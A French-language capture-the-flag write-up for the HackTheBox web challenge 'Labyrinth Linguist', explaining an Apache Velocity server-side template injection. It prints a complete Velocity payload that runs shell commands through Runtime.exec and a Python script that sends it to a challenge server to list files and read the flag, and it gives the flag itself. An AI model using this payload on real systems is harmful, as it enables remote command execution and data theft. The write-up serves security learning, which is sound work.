Labyrinth Linguist

Catégorie: Web Difficulté: easy Flag: HTB{f13ry_t3mpl4t35_fr0m_th3_d3pth5!!}

Challenge

Description


You and your faction find yourselves cornered in a refuge corridor inside a maze while being chased by a KORP mutant exterminator. While planning your next move you come across a translator device left by previous Fray competitors, it is used for translating english to voxalith, an ancient language spoken by the civilization that originally built the maze. It is known that voxalith was also spoken by the guardians of the maze that were once benign but then were turned against humans by a corrupting agent KORP devised. You need to reverse engineer the device in order to make contact with the mutant and claim your last chance to make it out alive.

Etape 1 : Reconnaissance

On est sur une techno Java avec l’utilisation d’un render template nommé Velocity :

Dans le code source on voit que l’input utilisateur n’est pas assainie, donc potentiellement on a une SSTI.

En cherchant les SSTI de cette techno, on tombe sur : https://iwconnect.com/apache-velocity-server-side-template-injection/


Etape 2 : PoC

Dans le fichier challenge/src/main/java/Main.java à la ligne 44 on trouve : **context.put("name", "World")**

On peut donc essayer d’afficher cette variable en envoyant $name dans la requête :

On reçoit bien Hello World donc la variable a bien été interprétée.


Etape 3 : Exploit

Dans le lien fourni plus haut, on nous donne un payload tout prêt pour exécuter des commandes :

#set($s="")
#set($stringClass=$s.getClass())
#set($stringBuilderClass=$stringClass.forName("java.lang.StringBuilder"))
#set($inputStreamClass=$stringClass.forName("java.io.InputStream"))
#set($readerClass=$stringClass.forName("java.io.Reader"))
#set($inputStreamReaderClass=$stringClass.forName("java.io.InputStreamReader"))
#set($bufferedReaderClass=$stringClass.forName("java.io.BufferedReader"))
#set($collectorsClass=$stringClass.forName("java.util.stream.Collectors"))
#set($systemClass=$stringClass.forName("java.lang.System"))
#set($stringBuilderConstructor=$stringBuilderClass.getConstructor())
#set($inputStreamReaderConstructor=$inputStreamReaderClass.getConstructor($inputStreamClass))
#set($bufferedReaderConstructor=$bufferedReaderClass.getConstructor($readerClass))

#set($runtime=$stringClass.forName("java.lang.Runtime").getRuntime())
#set($process=$runtime.exec("cmd /c dir C:"))
#set($null=$process.waitFor() )

#set($inputStream=$process.getInputStream())
#set($inputStreamReader=$inputStreamReaderConstructor.newInstance($inputStream))
#set($bufferedReader=$bufferedReaderConstructor.newInstance($inputStreamReader))
#set($stringBuilder=$stringBuilderConstructor.newInstance())

#set($output=$bufferedReader.lines().collect($collectorsClass.joining($systemClass.lineSeparator())))

$output

Puisque le serveur tourne sur du Linux et que le flag se trouve dans un fichier avec un nom aléatoire :

Il faut simplement adapter la commande en Linux pour lister les fichiers puis lire le flag.


Script de résolution

import requests
from bs4 import BeautifulSoup
import re

def exec_command(url, command: str) -> str:
	payload = f"""#set($s="")
#set($stringClass=$s.getClass())
#set($stringBuilderClass=$stringClass.forName("java.lang.StringBuilder"))
#set($inputStreamClass=$stringClass.forName("java.io.InputStream"))
#set($readerClass=$stringClass.forName("java.io.Reader"))
#set($inputStreamReaderClass=$stringClass.forName("java.io.InputStreamReader"))
#set($bufferedReaderClass=$stringClass.forName("java.io.BufferedReader"))#set($collectorsClass=$stringClass.forName("java.util.stream.Collectors"))
#set($systemClass=$stringClass.forName("java.lang.System"))
#set($stringBuilderConstructor=$stringBuilderClass.getConstructor())
#set($inputStreamReaderConstructor=$inputStreamReaderClass.getConstructor($inputStreamClass))
#set($bufferedReaderConstructor=$bufferedReaderClass.getConstructor($readerClass))
#set($runtime=$stringClass.forName("java.lang.Runtime").getRuntime())
#set($process=$runtime.exec("{command}"))
#set($null=$process.waitFor() )
#set($inputStream=$process.getInputStream())
#set($inputStreamReader=$inputStreamReaderConstructor.newInstance($inputStream))
#set($bufferedReader=$bufferedReaderConstructor.newInstance($inputStreamReader))
#set($stringBuilder=$stringBuilderConstructor.newInstance())
#set($output=$bufferedReader.lines().collect($collectorsClass.joining($systemClass.lineSeparator())))
$output"""
	response = requests.post(url, data={"text": payload})
	soup = BeautifulSoup(response.content, 'html.parser')
	return soup.find('h2', {'class': 'fire'}).text

def solve(url):
	output = exec_command(url, 'ls -al /')
	flag_file = re.search('flag[a-f0-9]{10}.txt', output).group(0)
	flag = exec_command(url, f'cat /{flag_file}')
	print(f"FLAG: {flag}")

if __name__ == '__main__':
	solve("http://94.237.57.161:57347")

Dernière mise à jour

Cet article vous a-t-il été utile ?